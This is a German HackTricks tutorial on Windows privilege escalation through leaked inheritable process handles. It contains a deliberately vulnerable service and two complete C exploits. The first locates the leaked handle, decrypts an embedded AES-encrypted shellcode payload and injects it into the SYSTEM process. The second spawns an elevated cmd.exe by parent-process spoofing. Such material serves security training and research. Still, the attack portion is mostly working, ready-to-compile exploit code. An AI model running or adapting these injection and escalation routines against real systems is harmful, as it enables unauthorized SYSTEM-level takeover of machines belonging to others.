Leaked Handle Exploitation

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Einführung

Handles in einem Prozess ermöglichen den Zugriff auf verschiedene Windows-Ressourcen:

Es gab bereits mehrere Fälle von Privilegieneskalation, bei denen ein privilegierter Prozess mit offenen und vererbbaren Handles einen unprivilegierten Prozess ausgeführt hat, wodurch diesem Zugriff auf all diese Handles gewährt wurde.

Stellen Sie sich zum Beispiel vor, dass ein als SYSTEM ausgeführter Prozess einen neuen Prozess öffnet (OpenProcess()) mit vollen Zugriffsrechten. Derselbe Prozess erstellt auch einen neuen Prozess (CreateProcess()), mit niedrigen Berechtigungen, aber unter Vererbung aller offenen Handles des Hauptprozesses. Dann, wenn Sie vollen Zugriff auf den wenig privilegierten Prozess haben, können Sie das offene Handle zum erstellten privilegierten Prozess mit OpenProcess() ergreifen und einen Shellcode einschleusen.

Interessante Handles

Prozess

Wie im ersten Beispiel erwähnt, wenn ein unprivilegierter Prozess ein Prozess-Handle eines privilegierten Prozesses mit ausreichenden Berechtigungen erbt, kann er beliebigen Code darauf ausführen.

In diesem ausgezeichneten Artikel können Sie sehen, wie Sie jedes Prozess-Handle ausnutzen können, das eine der folgenden Berechtigungen hat:

  • PROCESS_ALL_ACCESS

  • PROCESS_CREATE_PROCESS

  • PROCESS_CREATE_THREAD

  • PROCESS_DUP_HANDLE

  • PROCESS_VM_WRITE

Thread

Ähnlich wie bei den Prozess-Handles, wenn ein unprivilegierter Prozess ein Thread-Handle eines privilegierten Prozesses mit ausreichenden Berechtigungen erbt, kann er beliebigen Code darauf ausführen.

In diesem ausgezeichneten Artikel können Sie auch sehen, wie Sie jedes Prozess-Handle ausnutzen können, das eine der folgenden Berechtigungen hat:

  • THREAD_ALL_ACCESS

  • THREAD_DIRECT_IMPERSONATION

  • THREAD_SET_CONTEXT

Datei-, Schlüssel- und Abschnitts-Handles

Wenn ein unprivilegierter Prozess ein Handle mit Schreibberechtigungen über eine privilegierte Datei oder Registrierung erbt, kann er die Datei/Registrierung überschreiben (und mit viel Glück privilegierte Eskalation durchführen).

Abschnitts-Handles sind ähnlich wie Datei-Handles, der gemeinsame Name dieser Arten von Objekten ist "File Mapping". Sie werden verwendet, um mit großen Dateien zu arbeiten, ohne die gesamte Datei im Speicher zu behalten. Das macht die Ausnutzung irgendwie "ähnlich" der Ausnutzung eines Datei-Handles.

Wie man Handles von Prozessen sieht

Process Hacker

Process Hacker ist ein kostenloses Tool, das Sie herunterladen können. Es verfügt über mehrere erstaunliche Optionen zur Inspektion von Prozessen, darunter die Möglichkeit, die Handles jedes Prozesses zu sehen.

Beachten Sie, dass zum Anzeigen aller Handles aller Prozesse das SeDebugPrivilege erforderlich ist (daher müssen Sie Process Hacker als Administrator ausführen).

Um die Handles eines Prozesses zu sehen, klicken Sie mit der rechten Maustaste auf den Prozess und wählen Sie Handles aus:

Sie können dann mit der rechten Maustaste auf das Handle klicken und die Berechtigungen überprüfen:

Sysinternals Handles

Das Handles Binärprogramm von Sysinternals listet ebenfalls die Handles pro Prozess in der Konsole auf:

LeakedHandlesFinder

Dieses Tool ermöglicht es Ihnen, ausgelaufene Handles zu überwachen und sie sogar automatisch auszunutzen, um Privilegien zu eskalieren.

Methodik

Nun, da Sie wissen, wie Sie Handles von Prozessen finden können, müssen Sie überprüfen, ob ein unprivilegierter Prozess Zugriff auf privilegierte Handles hat. In diesem Fall könnte der Benutzer des Prozesses in der Lage sein, das Handle zu erhalten und es missbräuchlich verwenden, um Privilegien zu eskalieren.

Es wurde bereits erwähnt, dass Sie das SeDebugPrivilege benötigen, um auf alle Handles zuzugreifen. Aber ein Benutzer kann immer noch auf die Handles seiner Prozesse zugreifen, daher kann es nützlich sein, wenn Sie die Berechtigungen des Benutzers nur von diesem Benutzer ausführen möchten, um die Tools mit den regulären Benutzerberechtigungen auszuführen**.

handle64.exe /a | findstr /r /i "process thread file key pid:"

Verwundbares Beispiel

Zum Beispiel gehört der folgende Code zu einem Windows-Dienst, der verwundbar wäre. Der verwundbare Code dieses Dienst-Binärs befindet sich innerhalb der Exploit-Funktion. Diese Funktion beginnt damit, einen neuen Handle-Prozess mit vollständigem Zugriff zu erstellen. Anschließend wird ein Prozess mit niedrigen Berechtigungen erstellt (indem das Token mit niedrigen Berechtigungen von explorer.exe kopiert wird), der C:\users\username\desktop\client.exe ausführt. Die Verwundbarkeit besteht darin, dass der Prozess mit niedrigen Berechtigungen mit bInheritHandles als TRUE erstellt wird.

Daher ist dieser Prozess mit niedrigen Berechtigungen in der Lage, das Handle des zuerst erstellten Prozesses mit hohen Berechtigungen zu erfassen und einen Shellcode einzufügen und auszuführen (siehe nächster Abschnitt).

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}

Exploit Beispiel 1

In einem realen Szenario werden Sie wahrscheinlich nicht in der Lage sein, das Binärprogramm zu kontrollieren, das vom anfälligen Code ausgeführt wird (C:\users\username\desktop\client.exe in diesem Fall). Wahrscheinlich werden Sie einen Prozess kompromittieren und prüfen müssen, ob Sie auf einen anfälligen Handle eines privilegierten Prozesses zugreifen können.

In diesem Beispiel finden Sie den Code eines möglichen Exploits für C:\users\username\desktop\client.exe. Der interessanteste Teil dieses Codes befindet sich in GetVulnProcHandle. Diese Funktion wird alle Handles abrufen, dann wird überprüft, ob eines davon zur gleichen PID gehört und ob das Handle zu einem Prozess gehört. Wenn all diese Anforderungen erfüllt sind (ein zugängliches offenes Prozess-Handle gefunden wurde), wird versucht, einen Shellcode unter Ausnutzung des Handles des Prozesses einzuspeisen und auszuführen. Die Injektion des Shellcodes erfolgt innerhalb der Inject-Funktion und schreibt einfach den Shellcode in den privilegierten Prozess und erstellt einen Thread im selben Prozess, um den Shellcode auszuführen.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}

int main(int argc, char **argv) {

int pid = 0;
HANDLE hProc = NULL;

// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
```c
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);

printf("Meine PID: %d\n", GetCurrentProcessId());
getchar();

// Finde einen geleakten Handle zu einem Prozess
hProc = GetVulnProcHandle();

if (hProc != NULL) {

// Entschlüssle das Payload
AESDecrypt((char *)payload, payload_len, key, sizeof(key));
printf("[+] Geschenk wird gesendet...");
// Injiziere und führe das Payload im privilegierten Kontext aus
Inject(hProc, payload, payload_len);
printf("erledigt.\n");
}
getchar();

return 0;
}

Exploit Beispiel 2

In einem realen Szenario werden Sie wahrscheinlich nicht in der Lage sein, das ausführbare Binärprogramm zu steuern, das vom anfälligen Code ausgeführt wird (C:\users\username\desktop\client.exe in diesem Fall). Wahrscheinlich werden Sie einen Prozess kompromittieren und prüfen müssen, ob Sie auf einen anfälligen Handle eines privilegierten Prozesses zugreifen können.

In diesem Beispiel wird anstatt den offenen Handle zu missbrauchen, um Shellcode einzufügen und auszuführen, das Token des privilegierten offenen Handle-Prozesses verwendet, um einen neuen zu erstellen. Dies wird in den Zeilen von 138 bis 148 durchgeführt.

Beachten Sie, wie die Funktion UpdateProcThreadAttribute mit dem Attribut PROC_THREAD_ATTRIBUTE_PARENT_PROCESS und dem Handle zum offenen privilegierten Prozess verwendet wird. Dies bedeutet, dass der erstellte Prozess-Thread, der _cmd.exe ausführt, über dieselben Token-Privilegien wie der offene Handle-Prozess verfügen wird.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}


int main(int argc, char **argv) {

HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;

Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}

Sleep(20000);
return 0;
}

Andere Tools und Beispiele

Dieses Tool ermöglicht es Ihnen, ausgelaufene Handles zu überwachen, um verwundbare zu finden und sie sogar automatisch auszunutzen. Es hat auch ein Tool, um eines auslaufen zu lassen.

Ein weiteres Tool, um ein Handle auslaufen zu lassen und es auszunutzen.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated